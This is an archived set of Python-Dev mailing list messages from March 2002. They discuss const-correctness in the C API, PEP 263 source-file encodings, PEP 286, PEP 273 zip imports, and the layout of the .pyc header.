From: tree@basistech.com (Tom Emerson)
Date: Tue, 12 Mar 2002 16:10:01 -0500
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net>
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>
 <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15502.28329.445795.933691@magrathea.basistech.com>

Guido van Rossum writes:
> -1.

I'd agree, FWIW.

> I've never tried to enforce const-correctness before, but I've heard
> enough horror stories about this.  The problem is that it breaks 3rd
> party extensions left and right, and fixing those isn't always easy.
> In general, whenever you add a const somewhere, it ends up propagating
> to some other API, which then also requires a const, which propagates
> to yet another API needing a const, ad infinitum.

Having done this to a very large product in a previous life (the THINK
C v6 IDE) it is an absolute Alptraum retrofiting an existing code-base
for this. As much as I'd like to see it, to avoid the constant casting
in my C++ extensions, I don't think it is practical.

    -tree

-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From ark@research.att.com  Tue Mar 12 21:11:28 2002
From: ark@research.att.com (Andrew Koenig)
Date: 12 Mar 2002 16:11:28 -0500
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com>
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>
 <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net>
 <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com>
Message-ID: <yu99g035ebjz.fsf@europa.research.att.com>

David> Pretty FUD-ly, Guido! That problem only happens to people that
David> don't really understand const and its implications. If you
David> leave the job in the hands of someone who's used const
David> extensively there's no reason it should cause serious problems.

I think Guido is correct to the extent that it is a real nuisance
to retrofit const to a substantial program that was written without
using it in the first place.

I think Dave is correct to the extent that adding const to the
parameters of a collection of library functions rarely causes
trouble for users of that library.

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From mal@lemburg.com  Tue Mar 12 21:17:24 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 12 Mar 2002 22:17:24 +0100
Subject: [Python-Dev] Opinions on const-correctness?
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>  <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net> <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com>
Message-ID: <3C8E7064.CFE45383@lemburg.com>

David Abrahams wrote:
> 
> > > The largest negative effect I can see is that it'll add some
> turbulence
> > > to the CVS log (many little changes).
> >
> > -1.
> >
> > I've never tried to enforce const-correctness before, but I've heard
> > enough horror stories about this.  The problem is that it breaks 3rd
> > party extensions left and right,
> 
> Only if you change the strings /returned/ by Python (or structure
> members) to const char*. Changing your parameters to const char* won't
> hurt anybody.

It doesn't hurt already compiled extensions, but it certainly 
breaks *all* yet to be compiled extensions ! 

Besides, it doesn't buy you much, since not all compilers use
the information for optimization (most I've seen only do careful 
checks of the implied read-only nature which can be very 
annoying).

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From skip@pobox.com  Tue Mar 12 21:29:03 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 12 Mar 2002 15:29:03 -0600
Subject: [Python-Dev] I'm an idiot...
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHKEKKCNAA.tim@zope.com>
References: <BIEJKCLHCIOIHAGOKOLHKEKKCNAA.tim@zope.com>
Message-ID: <15502.29471.16971.933975@beluga.mojam.com>

    Tim> Instructions for reverting a checkin are in part 2.7 of the FAQ:

    Tim>     http://python.sourceforge.net/sf-faq.html#c7

Thanks.  I was unaware of both (the FAQ and question 2.7)...

Skip


From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 21:24:04 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 12 Mar 2002 16:24:04 -0500
Subject: [Python-Dev] Opinions on const-correctness?
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>  <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net> <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com> <3C8E7064.CFE45383@lemburg.com>
Message-ID: <049801c1ca0c$406c6b30$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "M.-A. Lemburg" <mal@lemburg.com>


> David Abrahams wrote:
> >
> > > > The largest negative effect I can see is that it'll add some
> > turbulence
> > > > to the CVS log (many little changes).
> > >
> > > -1.
> > >
> > > I've never tried to enforce const-correctness before, but I've
heard
> > > enough horror stories about this.  The problem is that it breaks
3rd
> > > party extensions left and right,
> >
> > Only if you change the strings /returned/ by Python (or structure
> > members) to const char*. Changing your parameters to const char*
won't
> > hurt anybody.
>
> It doesn't hurt already compiled extensions, but it certainly
> breaks *all* yet to be compiled extensions !

Care to explain?

> Besides, it doesn't buy you much, since not all compilers use
> the information for optimization (most I've seen only do careful
> checks of the implied read-only nature which can be very
> annoying).

/No/ conforming compilers use the const-ness of a pointee passed to a
function for optimization, since the pointer can be aliased by a
non-const pointer.

What it buys you, if you're a C++ programmer, is not having to litter
your code with odious casts:

    PyObject_GetAttr(obj, const_cast<char*>("my_attribute"))

-Dave



From Jack.Jansen@oratrix.com  Tue Mar 12 21:29:13 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 12 Mar 2002 22:29:13 +0100
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <16ksby-0wg12mC@fwd09.sul.t-online.com>
Message-ID: <32C467F8-3600-11D6-95E1-003065517236@oratrix.com>

On dinsdag, maart 12, 2002, at 09:10 , Juergen Hermann wrote:

> Hi!
>
> When you interface const-correct C or C++ code with Python, you
> currently need to jump through hoops like this:
>
> somefunc(const char* modulename, const char* key)
> {
>     ... PyImport_ImportModule(const_cast<char*>(modulename)) ...
>
>
> I'd be willing to invest some time to change this, the question is:
>
>  1. someone opposed to such a change?
>
>  2. any technical reasons against it (const is ANSI, do we have a
> portability problem that cannot be solved by a #define)?

Even though Guido has sent in his -1 already ("Voting is futile. 
You have been assimilated." :-) I'll vote a +1 anyway.

Just this morning I stopped my self just in time from modifying 
a char * argument that could in some cases come from a 
StringObject, and that's definitely not the first time it 
happened to me:-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Tue Mar 12 21:38:57 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 12 Mar 2002 22:38:57 +0100
Subject: [Python-Dev] PEP 286: Please comment
In-Reply-To: <200203122109.g2CL96A02054@mira.informatik.hu-berlin.de>
Message-ID: <8F3776A6-3601-11D6-95E1-003065517236@oratrix.com>

On dinsdag, maart 12, 2002, at 10:09 , Martin v. Loewis wrote:

> I put PEP 286, "Enhanced Argument Tuples", on
>
> http://python.sourceforge.net/peps/pep-0286.html

I'm +1 on the idea (of course:-), but there's a couple of things 
I miss in the PEP:
- I assume 'failobjects' are deallocated on failure, not success, yes?
- I miss a rationale (some use cases would be nice)
- it's nowhere explained how the ...Memory() calls would be implemented.
- Would the interpreter mainloop always create argument tuples 
where it now uses normal tuples? Is this a method flag? What's 
the cost of conversion (or of using ArgumentTuples in stead of 
tuples in general)? Issues with apply()?
- What would happen to calls that still use normal tuples? 
There's a lot of callback code out there...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From jim@interet.com  Tue Mar 12 21:59:05 2002
From: jim@interet.com (James C. Ahlstrom)
Date: Tue, 12 Mar 2002 16:59:05 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
References: <web-3711764@digicool.com>
Message-ID: <3C8E7A29.4050903@interet.com>

Jeremy Hylton wrote:


> It looks like the PEP points to an obsolete implementation
> patch.  Could you update it?


OK, but it will take a couple days because so
much changed.  I have downloaded the current
CVS tree, and I will work from that.

JimA



From jeremy@zope.com  Tue Mar 12 21:59:25 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Tue, 12 Mar 2002 16:59:25 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
In-Reply-To: <3C8E7A29.4050903@interet.com>
Message-ID: <web-3721892@digicool.com>

On Tue, 12 Mar 2002 16:59:05 -0500
 "James C. Ahlstrom" <jim@interet.com> wrote:
> Jeremy Hylton wrote:
> 
> 
> > It looks like the PEP points to an obsolete
> implementation
> > patch.  Could you update it?
> 
> 
> OK, but it will take a couple days because so
> much changed.  I have downloaded the current
> CVS tree, and I will work from that.

Jim,

I was actually asking a simpler question:  Can you change
the PEP to point to the most recent implementation patch?
Even if the patch doesn't apply, I'd like to take a quick
look at how you implemented it.

Of course, updating the patch is necessary to get it
accepted.  So it would be great if you could update it.

Jeremy


From tismer@tismer.com  Tue Mar 12 22:16:42 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 23:16:42 +0100
Subject: [Python-Dev] "funny".split("")
References: <BIEJKCLHCIOIHAGOKOLHCELACNAA.tim@zope.com>
Message-ID: <3C8E7E4A.3040802@tismer.com>

Tim Peters wrote:

> [Christian]
> 
>>I have a one single opinion in this case:
>>Let things be as easy to remember as possible.
>>I'd do exactly what Perl does in this case, whatever
>>it is. Only one fact to learn.
>>
> 
> In the face of ambiguity, we're refusing the temptation to guess.
> 
> If we have to guess, then being consistent with Python's re is the only
> defensible behavior for Python.


Guess what? If I'm using this lame Perl argument, then just
since it happens to be exactly what I like the best :-)

BTW., to my perception, re was designed to implement the
functionality of Perl's regular expressions. If this is
correct, then it would be consistent to treat things the
same, and re should change this minor spot.

print join ':', split //, 'hi there';

produces 'h:i: :t:h:e:r:e'

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From greg@cosc.canterbury.ac.nz  Tue Mar 12 23:45:03 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 13 Mar 2002 12:45:03 +1300 (NZDT)
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203122345.MAA26585@s454.cosc.canterbury.ac.nz>

> I think I can propose a compromise though: there may be two default
> encodings, one used for Python source code, and one for data.

Seems to me there shouldn't be changeable default
encoding for source files at all. The encoding of
a source file is a property of the file itself,
not the interpreter used to read it.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Wed Mar 13 00:41:21 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 13 Mar 2002 13:41:21 +1300 (NZDT)
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <yu99g035ebjz.fsf@europa.research.att.com>
Message-ID: <200203130041.NAA26593@s454.cosc.canterbury.ac.nz>

Andrew Koenig <ark@research.att.com>:

> I think Guido is correct to the extent that it is a real nuisance
> to retrofit const to a substantial program that was written without
> using it in the first place.
> 
> I think Dave is correct to the extent that adding const to the
> parameters of a collection of library functions rarely causes
> trouble for users of that library.

A possible compromise would be to provide an alternative
version of Python.h which has the const declarations, for
use by extensions that want it. Extensions that didn't
use it wouldn't be affected, and neither would Python
itself, which would continue to use the old headers.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From guido@python.org  Wed Mar 13 00:44:34 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 12 Mar 2002 19:44:34 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: Your message of "Wed, 13 Mar 2002 12:45:03 +1300."
 <200203122345.MAA26585@s454.cosc.canterbury.ac.nz>
References: <200203122345.MAA26585@s454.cosc.canterbury.ac.nz>
Message-ID: <200203130044.g2D0iYg18524@pcp742651pcs.reston01.va.comcast.net>

> Seems to me there shouldn't be changeable default
> encoding for source files at all. The encoding of
> a source file is a property of the file itself,
> not the interpreter used to read it.

But practicality beats purity.  Some people don't exchange Python code
with others, but they use a lot of code they write and maintain
themselves.  It's hard to explain to them the need of repeating the
encoding in every single module.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Wed Mar 13 00:51:43 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 12 Mar 2002 19:51:43 -0500
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <200203130041.NAA26593@s454.cosc.canterbury.ac.nz>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEOGODAA.tim.one@comcast.net>

[Greg Ewing]
> A possible compromise would be to provide an alternative
> version of Python.h which has the const declarations, for
> use by extensions that want it. Extensions that didn't
> use it wouldn't be affected, and neither would Python
> itself, which would continue to use the old headers.

-1.  A lot of files go in to "Python.h", and I have a nagging suspicion
you're not volunteering to keep the new mass of almost-duplicates in synch
as time drags on <wink>.

It usually doesn't hurt to add const decorations to argument decls, though,
and I sometimes do when I'm fiddling a header file for some other reason.
Then the Python C-API docs have to change too.

I suggest the people who get some actual good out of adding const add it
when and where they stumble over its lack.  The important cases will get
changed quickly then, and disruption due to unimportant cases won't occur.



From greg@cosc.canterbury.ac.nz  Wed Mar 13 01:07:40 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 13 Mar 2002 14:07:40 +1300 (NZDT)
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: <19650FF08A99D511B19E00B0D0F0632301D6893D@SRM201002>
Message-ID: <200203130107.OAA26607@s454.cosc.canterbury.ac.nz>

Gustavo Cordova <gcordova@hebmex.com>:

> I was searching for a way to construct a new module
> from it's file's compiled bytecode (just read() the "*.pyc" file),

The imp module provides various functions for loading
modules. Maybe something there will do what you want?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Wed Mar 13 01:11:51 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 13 Mar 2002 14:11:51 +1300 (NZDT)
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEOGODAA.tim.one@comcast.net>
Message-ID: <200203130111.OAA26612@s454.cosc.canterbury.ac.nz>

Tim Peters <tim.one@comcast.net>:

> -1.  A lot of files go in to "Python.h", and I have a nagging suspicion
> you're not volunteering to keep the new mass of almost-duplicates in synch
> as time drags on <wink>.

No, but I'd volunteer to write the following piece
of header code to replace the existing Python.h:

#define const
#include "Python_const.h"

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From suzuki611@oki.com  Wed Mar 13 02:05:39 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Wed, 13 Mar 2002 11:05:39 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <m3n0xe5h7m.fsf@mira.informatik.hu-berlin.de>
 (martin@v.loewis.de)
Message-ID: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>

> Please understand that the issue you bring up was specifically added
> on request of Japanese users.

Thank you.  The statements in the PEPs Parade had frightened me
terribly.

> >    The PEP says, "Just as in coercion of strings to Unicode,
> > Python will default to the interpreter's default encoding (which
> > is ASCII in standard Python installations) as standard encoding
> > if no other encoding hints are given."  This will let many
> > English people free from writing the magic comment to their
> > scripts explicitly.  

> While that is true, it will in particular free Japanese users from
> putting encoding declarations in their files. Japanese users often
> declare the default encoding to be shift-jis or euc-jp. When Python
> source code is transmitted between Unix and Windows, tools are used to
> convert files between these two encodings. If there is an encoding
> declaration, those tools would need to change this, too, but the
> existing tools don't.

I should have appended to that, "And English people will
distribute programs with no magic comments all over the world.
Japanese users will use them."

Certainly Japanese users are also free from putting encoding
declarations, but we do not expect such programs to be usable in
other countries than Japan, given the PEP as is.

BTW, when transmitting Python source code between Unix and
Windows, we do not necessarily convert encodings.  Any encodings
which are strictly ASCII compatible, such as EUC-JP and UTF-8,
are usable both Unix and Windows for really many uses (for
example, for a little multi-threaded Web server.  See
http://www.python.jp/Zope/download/pypage/ ).  Certainly some
may convert encodings almost always, but others do not
necessarily.

> Therefore, it was considered desirable to not use an encoding
> declaration if the default encoding matches the file encoding. It is
> well-understood that files without declared encoding will be less
> portable across systems.

Indeed Mr. Ishimoto said in [Python-ml-jp] that he thought it
would be desirable not to use any encoding declarations, in that
he would convert encodings.  But he also said later in
[Python-ml-jp] that he had withdrawn his suggestion.

> > However, many Japanese set the default encoding other than ASCII (we
> > use multi-byte encodings for daily use, not as luxury), and some
> > Japanese set it, say, "utf-16".

> I cannot believe this statement. Much of the standard library will
> break if you set the default encoding to utf-16; any sensible setting
> of the default encoding sets it to an ASCII superset (in the sense
> "ASCII strings have the same bytes under that encoding"). Anybody
> setting the default encoding to utf-16 has much bigger problems than
> source encodings.

Oh, then my coworker must have been lucky till today!  Thank you
for your advice!!

> > It is ASCII-compatible perfectly and language-neutral.  If you once
> > commit yourself to Unicode, I think, UTF-8 is an obvious choice
> > anyway.
> 
> I certainly agree. Under the PEP, you can put the UTF-8 signature (BOM
> encoded as UTF-8) in all files (or ask your text editor to do that for
> you), and you won't need any additional encoding declaration. Windows
> notepad does that already if you ask it to save files as UTF-8, and
> I'd assume other editors will offer that feature as well.

Just one worry:  it may be incompatible with '#!/usr/bin/env'
used in Unix.

> In any case, choice of source encoding, under the PEP, is the user's
> choice. The option of making UTF-8 the standard encoding for all
> source files has been explicitly considered and was rejected.

I understand that making UTF-8 the standard encoding immediately
for all source files does not have feasibility.  I'd think we
have had two options:

1. Wait until when the UTF-8 is popular, and then adopt the UTF-8
   the sole encoding.  (The time might come within two years.)

2. Make Python able to handle various encodings which are in use
   now.

And I'd believe that once taking the option 2., it would be
still sensible to make UTF-8 the default encoding.

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@okisoft.co.jp>


From guido@python.org  Wed Mar 13 02:15:03 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 12 Mar 2002 21:15:03 -0500
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: Your message of "Tue, 12 Mar 2002 11:50:42 CST."
 <19650FF08A99D511B19E00B0D0F0632301D6893D@SRM201002>
References: <19650FF08A99D511B19E00B0D0F0632301D6893D@SRM201002>
Message-ID: <200203130215.g2D2F3d18725@pcp742651pcs.reston01.va.comcast.net>

> I was searching for a way to construct a new module
> from it's file's compiled bytecode (just read() the "*.pyc" file),

import marshal, imp
f = open("foo.pyc")
f.seek(8)
code = marshal.load(f)
f.close()
foo = imp.new_module("foo")
exec code in foo.__dict__

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Wed Mar 13 02:36:32 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 12 Mar 2002 21:36:32 -0500
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <200203130111.OAA26612@s454.cosc.canterbury.ac.nz>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEOKODAA.tim.one@comcast.net>

[Greg Ewing]
> No, but I'd volunteer to write the following piece
> of header code to replace the existing Python.h:
>
> #define const
> #include "Python_const.h"

OK, I'll leave this to you <wink>.

try-it-first-ly y'rs  - tim


From greg@cosc.canterbury.ac.nz  Wed Mar 13 03:31:48 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 13 Mar 2002 16:31:48 +1300 (NZDT)
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: <200203130215.g2D2F3d18725@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203130331.QAA26688@s454.cosc.canterbury.ac.nz>

Guido van Rossum <guido@python.org>:

> f = open("foo.pyc")
> f.seek(8)
> code = marshal.load(f)

Ah! I was trying to do something like that a minute ago before
answering the original query, but the magic number 8 eluded me. Is it
documented anywhere, or is mystic knowledge required?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From fdrake@acm.org  Wed Mar 13 03:39:24 2002
From: fdrake@acm.org (Fred Drake)
Date: Tue, 12 Mar 2002 22:39:24 -0500
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: <200203130331.QAA26688@s454.cosc.canterbury.ac.nz>
Message-ID: <web-3723622@digicool.com>

On Wed, 13 Mar 2002 16:31:48 +1300 (NZDT)
 Greg Ewing <greg@cosc.canterbury.ac.nz> wrote:
 > Ah! I was trying to do something like that a minute ago
 > before answering the original query, but the magic
 > number 8 eluded me. Is it documented anywhere, or is
 > mystic knowledge required?

I'm pretty sure this is documented, though I don't recall
where offhand.

The first four bytes represent a magic number, and the
second four bytes represent the date on which the bytecode
was compiled (or was it the timestamp of the source file?).

It's gotta be in the docs somewhere, else I'd have to just
remember all that!  ;-)  Seriously, if you don't see it in
the docs, file a bug report and tell me where you looked &
why; it probably means there's something missing, if only a
link to wherever it actually is.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Wed Mar 13 04:30:12 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 12 Mar 2002 23:30:12 -0500
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: <200203130331.QAA26688@s454.cosc.canterbury.ac.nz>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEPAODAA.tim.one@comcast.net>

[Guido]
> f = open("foo.pyc")
> f.seek(8)
> code = marshal.load(f)

[Greg Ewing]
> Ah! I was trying to do something like that a minute ago before
> answering the original query, but the magic number 8 eluded me. Is it
> documented anywhere, or is mystic knowledge required?

Mystic knowledge:  these are internal implementation details, and not
formally guaranteed across releases.

The first 4 bytes of a .py[co] are a "magic number", and the next 4 a
timestamp.  That the first 4 bytes hold a magic number is documented with
PyImport_GetMagicNumber().  I'm not sure the timestamp part is documented
anywhere in the manuals; it can be guessed from staring at
Tools/scripts/checkpyc.py or Lib/py_compile.py.



From tim.one@comcast.net  Wed Mar 13 04:37:56 2002
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 12 Mar 2002 23:37:56 -0500
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: <web-3723622@digicool.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEPBODAA.tim.one@comcast.net>

[Fred Drake]
> The first four bytes represent a magic number, and the
> second four bytes represent the date on which the bytecode
> was compiled (or was it the timestamp of the source file?).

The source file:  a .py[co] is out of date if the source file changed since
the .py[co] was created, so the source file's original time is the
interesting thing.  You might think <wink> we could compare mtime(.py[co])
to mtime(.py), but apart from pathologies that would require two stat()
calls; only one is needed the way it's done.

> It's gotta be in the docs somewhere, else I'd have to just
> remember all that!  ;-)  Seriously, if you don't see it in
> the docs, file a bug report and tell me where you looked &
> why; it probably means there's something missing, if only a
> link to wherever it actually is.

See my response -- I'm not sure this *should* be documented.  The "first 4
bytes form a magic number" can probably never be changed (and is documented
now), but changing the rest has been debated repeatedly (albeit never acted
on).



From fdrake@acm.org  Wed Mar 13 05:16:57 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Wed, 13 Mar 2002 00:16:57 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020313051657.CF40428696@beowolf.fdrake.net>

The development version of the documentation has been updated:

    http://python.sourceforge.net/devel-docs/

Mostly minor updates; closed a few bug reports.


From stephen@xemacs.org  Wed Mar 13 05:27:51 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 13 Mar 2002 14:27:51 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
Message-ID: <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "SUZUKI" == SUZUKI Hisao <suzuki611@oki.com> writes:

    SUZUKI> I should have appended to that, "And English people will
    SUZUKI> distribute programs with no magic comments all over the
    SUZUKI> world.  Japanese users will use them."

But this "just works" as long as the default encoding is an ASCII
superset (or even JIS X 0201 (^^; as Japanese users are now all
equipped with YEN SIGN <-> REVERSE SOLIDUS codecs).

    SUZUKI> Certainly Japanese users are also free from putting
    SUZUKI> encoding declarations, but we do not expect such programs
    SUZUKI> to be usable in other countries than Japan, given the PEP
    SUZUKI> as is.

But this is also true for everyone else, except Americans.  All of the
common non-ASCII encodings are non-universal and therefore
non-portable, with the exception of UTF-8 and X Compound Text (and the
latter is a non-starter in program sources because of the 0x22
problem).

I myself objected to this PEP because I think it's far too easy for my
Croatian (Latin-2) friend working in Germany to paste a Latin-1 quote
into a Latin-2 file.  He'll do it anyway on occasion, but if we start
insisting _now_ that "Python programs are written in UTF-8", we'll
avoid a lot of mojibake.  12 years in Japan makes that seem an important
goal.<wink>  But such multiscript processing is surely a lot more
rare in any country but Japan.

    SUZUKI> BTW, when transmitting Python source code between Unix and
    SUZUKI> Windows, we do not necessarily convert encodings.

But this is bad practice.  You can do it if it works for you, but
Python should not avoid useful changes because people are treating
different encodings as the same!

    SUZUKI> Just one worry: [UTF-8 BOM] may be incompatible with
    SUZUKI> '#!/usr/bin/env' used in Unix.

It probably is, but it's out of Python's control: the editor will add
it.  And this can (and will) be handled by changing the shells.

    SUZUKI> I understand that making UTF-8 the standard encoding
    SUZUKI> immediately for all source files does not have
    SUZUKI> feasibility.  I'd think we have had two options:

    SUZUKI> 1. Wait until when the UTF-8 is popular, and then adopt [it].

    SUZUKI> 2. Make Python able to handle various [popular] encodings.

There's a third option:

    3.  Make UTF-8 the only encoding acceptable for "standard Python",
        and insert a hook for a codec to be automatically run on source
        text.  Standard Python would _never_ put anything on this hook,
        but an optional library would provide other codecs, including one
        to implement PEP 263.

Guido thought the idea has merit, as an implementation.  Therefore
UTF-8 would be encouraged by Python, but PEP 263 would give official
sanction to the -*- coding: xxx -*- cookie.  And this would give you a
lot of flexibility for experimentation (eg, with UTF-16 codecs, etc).


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From tree@basistech.com  Wed Mar 13 06:43:06 2002
From: tree@basistech.com (Tom Emerson)
Date: Wed, 13 Mar 2002 01:43:06 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130205.LAA31076@suzuki611.ngo.okisoft.co.jp>
 <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <15502.62714.274557.959108@magrathea.basistech.com>

Stephen J. Turnbull writes:
>     SUZUKI> Just one worry: [UTF-8 BOM] may be incompatible with
>     SUZUKI> '#!/usr/bin/env' used in Unix.
> 
> It probably is, but it's out of Python's control: the editor will add
> it.  And this can (and will) be handled by changing the shells.

The UTF-8 BOM is an aBOMination that should not be allowed to
live. The only editor that I know of that inserts the sequence is
Microsoft's WordPad (or TextPad, I don't use either). I hope XEmacs
isn't going to do this.

The point of the UniBOM is to determine the byte-order used in a
UTF-(16|32) or UCS-[24] encoded file: one can of course us it as an
indicator for Unicode, but it should not be used as an encoding
idenfier. It is merely a hint.

    -tree

-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From martin@v.loewis.de  Wed Mar 13 07:12:04 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 13 Mar 2002 08:12:04 +0100
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com>
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>
 <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net>
 <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com>
Message-ID: <m3it81rlff.fsf@mira.informatik.hu-berlin.de>

"David Abrahams" <david.abrahams@rcn.com> writes:

> Only if you change the strings /returned/ by Python (or structure
> members) to const char*. Changing your parameters to const char* won't
> hurt anybody.

It sure will. Inside the functions you change, you may not be able to
use the argument as before. In particular, you may not be able to call
functions from the standard C library anymore.

Regards,
Martin


From martin@v.loewis.de  Wed Mar 13 07:37:19 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 13 Mar 2002 08:37:19 +0100
Subject: [Python-Dev] PEP 286: Please comment
